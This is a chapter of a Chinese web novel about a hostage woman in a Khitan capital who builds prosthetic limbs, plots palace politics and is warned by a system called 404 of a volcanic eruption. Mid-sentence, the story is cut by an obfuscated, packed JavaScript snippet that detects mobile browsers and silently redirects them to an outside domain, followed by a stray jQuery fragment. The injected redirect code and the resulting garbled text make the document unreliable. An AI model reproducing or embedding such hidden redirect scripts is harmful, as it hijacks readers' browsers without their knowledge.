44. 休眠火山

乌兰被这句话惊得目瞪口呆,她抬眼望着魏嫣然,那双乌黑的眼眸中满是惊愕,仿佛嘴被冰雪冻住,怎么都说不出话。


“你……你在说什么!”乌兰的声音微微颤抖,带着几分惊惶。


她环顾四周,只见远处的草场上,牧羊人赶着羊群,羊儿们咩咩地叫着,周遭有的跟随士兵去寻材料,有的在互相交谈,并无旁人留意她们。


乌兰心中稍安,便一把拉住魏嫣然,急急地将她拽到角落里。


“你在说什么?你是大梁人,在这契丹之地,说出这等话,莫非是不想活了?”乌兰的声音压得极低,却满是焦急,她望着魏嫣然,眼中满是担忧与不解。


魏嫣然却一脸无所谓的神情,微微挑眉,轻笑道:“要死早死了,他们还需要我这个人质威胁纪时泽,怎会动我?我只是想问问,你究竟怎么想的。”


乌兰心中愈发烦躁,只想尽快结束这令人不安的话题,她皱着眉头,冷声道:“什么我怎么想?休要再说这些话了。”


契丹是她的家,她的父汗统率着这片土地,她又能如何想?


魏嫣然见乌兰这般模样,微微耸肩,嘴角勾起一抹浅笑,道:“你莫要着急,我只是随口问问罢了。”


二人相顾无言,就这么僵持着,脑子里却思绪万千。


过了不久,士兵们把寻到的材料搬到了一个存放杂物的营帐。


她便随着乌兰,一同来到一个营帐里,准备制作义肢。


营帐内,一盏小灯孤零零地悬于中央,那昏黄的光束只照亮了魏嫣然及她手中之物。灯光摇曳,映得她的面容亦明亦暗,仿佛笼上了一层朦胧的纱雾。


小小的营帐里,早已挤满了人。众人或站或蹲,或倚或靠,将小小的空间塞得满满当当。帐外的风呼呼地吹着,不时卷起帐帘,帐内的人却全然不顾,只一双双眼睛紧紧盯着魏嫣然。


魏嫣然坐在一张矮几前,低着头,双手轻巧利用锉刀剐蹭着手里的物件。


她的手指纤长而灵活,动作轻盈得如同蝴蝶点水。


灯光下,她的眉眼低垂,长长的睫毛在眼睑下投下淡淡的阴影。


四周一片寂静,只听得见锉刀削下木屑的声音,众人屏息凝神时的细微呼吸。


义肢的制作实属繁琐,需得贴合主人的身体,稍有差池便便会伤上加伤。然而魏嫣然双手灵巧,心思细腻,在404的协助下,利用榫卯插接的原理,制造出了不输现代的义肢。


她做的认真,飞舞的木屑有些落到了她的发上,她也顾不得拿下,只一心一意制作。


见魏嫣然将这本被视为珍宝的手艺毫无保留地展露在大家面前。有人忍不住开口问道:“姑娘,你不怕我们偷了你的手艺吗?”


魏嫣然闻言,微微一笑,道:“什么偷不偷的,这等东西本就不该被一人独占。若你们学会了,便无需我一个个操作,岂不是省了许多功夫?”


众人听罢,皆是面露钦佩之色。


恰巧部落之中,真有一位精通木匠活计之人。他曾是军中匠人,专司炼制武器,后来因腿伤被赶到了部落地。


此人名唤司卓,只见他微微躬身,双手抱拳,朗声说道:“这位姑娘,我曾是锻造兵器之人,如今已能略窥门径,姑娘可否再传授我些?我也可为姑娘打个下手,为姑娘略解忧愁。”


他这话说得极为小心,屏住呼吸,小心翼翼地看向魏嫣然,眼神中满是期待与不安。


他怕魏嫣然拒绝他,或者直接将他赶出去。若非魏嫣然方才那番慷慨之言给了他勇气,他是断然不敢提出这等请求的。


他心中忐忑不安,双手微微颤抖,眼神在魏嫣然的脸上徘徊,却又不敢直视。


魏嫣然听罢,脸上露出灿烂的笑容,眼中满是惊喜。


这真是瞌睡来了有人送枕头,恰到好处的缘分。她并不精通此道,那几个义肢,也只是勉强满意,如今有专业人士前来相助,她自然喜不自胜。


“当然,当然。”魏嫣然连忙点头,语气中满是诚恳与欢喜。


她随即细细讲起其中的原理,声音清脆动听。众人听得一愣一愣的,面露迷茫之色,唯有司卓却像是捡到了天大的宝贝一般,脸上满是兴奋与喜悦,眼睛都亮了起来,嘴角的笑意几乎要溢出。


他甚至要当场跪下拜师,口中连声道:“姑娘如此大恩,司卓愿拜姑娘为师,以报答姑娘的授业之恩。”


魏嫣然见状,连忙摆手,笑道:“罢了罢了,真不用如此。”


古人动不动就要跪拜,这礼数虽重,却实在让人受不了。


忙活了一天,天色渐晚,夕阳如血,余晖洒在营帐之上,给这小小的角落镀上了一层金色的光辉。


远处的草场上,羊群已归圈,牧人也纷纷收工,整个部落地渐渐沉寂下来。


在部落地众人的依依不舍与诚挚告别中,乌兰扯着魏嫣然,匆匆踏上了回王城的路。


王城的街道上,一切已与她们清晨离开时大不相同。


街道两旁的店铺门前,新挂上了彩绸,随风轻轻摇曳,街边的石板路也被清扫得干干净净,整个王城都沉浸在一片热闹而庄重的氛围之中。


魏嫣然站在马车上,目光扫过这一切,心中不禁泛起一丝复杂的情绪。她看向身边的乌兰,却见乌兰正皱着眉头,一脸心事重重的模样。


契丹反复无常,明面上与大梁交好,却又偷偷摸摸地接纳了与大梁交战的女真。这对大梁来说,绝非是个好消息。


魏嫣然心中暗叹,她不希望大梁与契丹开战,更不想再看到生灵涂炭。从前,大梁与契丹的一切,她都撼动不了任何事情的走向,只能默默地听着、看着。


然而如今,她来到了契丹王城,从一个风暴中心,来到了另一个风暴中心。她突然觉得自己或许有了撼动局势的能力。


魏嫣然轻轻拍了拍乌兰的肩膀,柔声问道:“女真贵客三天后便到,你可有什么打算?”


乌兰刚欲开口,却又停住了。她微微垂下眼帘,脸上露出一丝愧疚,低声说道:“我知道你是怕契丹表面求和,实则暗藏杀机,再打大梁的主


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031921|161114||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


意。”


魏嫣然微微一笑,毫不隐瞒自己的想法,坦然道:“不错。而且能击退契丹的纪时泽,如今因我身在契丹,难免投鼠忌器。到时候说不定大梁真的会出什么事。”


她语气虽轻,但字字句句都如重锤,敲在乌兰的心上。


乌兰的脸色瞬间变得灰白,仿佛被这番话击中了要害。她想起正是自己将魏嫣然绑来契丹,如今契丹还要拿她来威胁纪时泽。魏嫣然却毫不计较,不仅为部落的人制作义肢,还答应解决石油困境。


这一切的一切,都让乌兰心中满是愧疚,仿佛有一块巨石压在心头,让她抬不起头来。


她微微咬了咬唇,声音低得几乎听不见:“嫣然,我……”


魏嫣然微微一笑,轻声道:“罢了,不想说便不说吧。咱们聊聊你兄长吧。他何时归来?这王城之中,能信得过的人实在不多。他若回来,我也能放心些。”


乌兰听到“兄长”二字,脸上终于露出一丝释然,不再像方才那般难看。


她的兄长木赤,对她向来极好,也是她心中最信任之人。想到魏嫣然如今处境危险,自己又怕护不住她,乌兰心中不禁有些发慌。


她咬了咬唇,轻声道:“我兄长此刻尚在外地,不过我写封信,让他速速回来便是了。我也有些想他了。”


魏嫣然见自己达成了目的,微微点了点头,她随着乌兰一同进了府邸,随后分道去各自的房间。


乌兰急着回房间去给木赤写信。


而魏嫣然则并不着急地散着步,心中不断思索。


对于大梁而言,绝不能让女真加入契丹。虽女真如今已落败,然瘦死的骆驼比马大,一旦女真归附契丹,契丹势力必然大增。


且契丹现如今之可汗,绝非良善之辈,其心狠手辣,阴狠得可怕。


如今局面,契丹是与大梁交好,且大梁刚打不一仗。


而能领兵的纪时泽虽然仍旧能制住契丹,可她身为纪时泽的掣肘,正在契丹王城。


那可汗十分有九分,必定会对大梁动歪心思。


如此之下,她也不能坐以待毙,必须把契丹这潭水搅浑。


她所认识之人虽不多,木赤便是其中之一。木赤愿违背命令放乌兰离开,足见这兄妹二人情谊深厚。


如果她能让木赤登上契丹可汗的位置,那到时候乌兰如今这般信任她,木赤亦会对她投鼠忌器。


到时候,她不必担忧自己的安危,也无需担忧契丹与大梁起战。


如此思量着,魏嫣然缓步回到了房间。她走到床边,轻轻坐下,随后趴在床上,漫无目的地掰着手指,眼神中透着几分迷茫与思索,似在权衡着未来的种种可能。


此招虽险,却是最一劳永逸的办法。而且一时半会,她也想不出别的办法。


魏嫣然只觉得自己的脑子嗡嗡的,忙盖上被子,捂住脸,把自己包裹起来。


404忽而轻声出言:“宿主,地质报告出来了,三日后王城地下的休眠火山便会喷发,到时候整个王城便会化为灰烬。”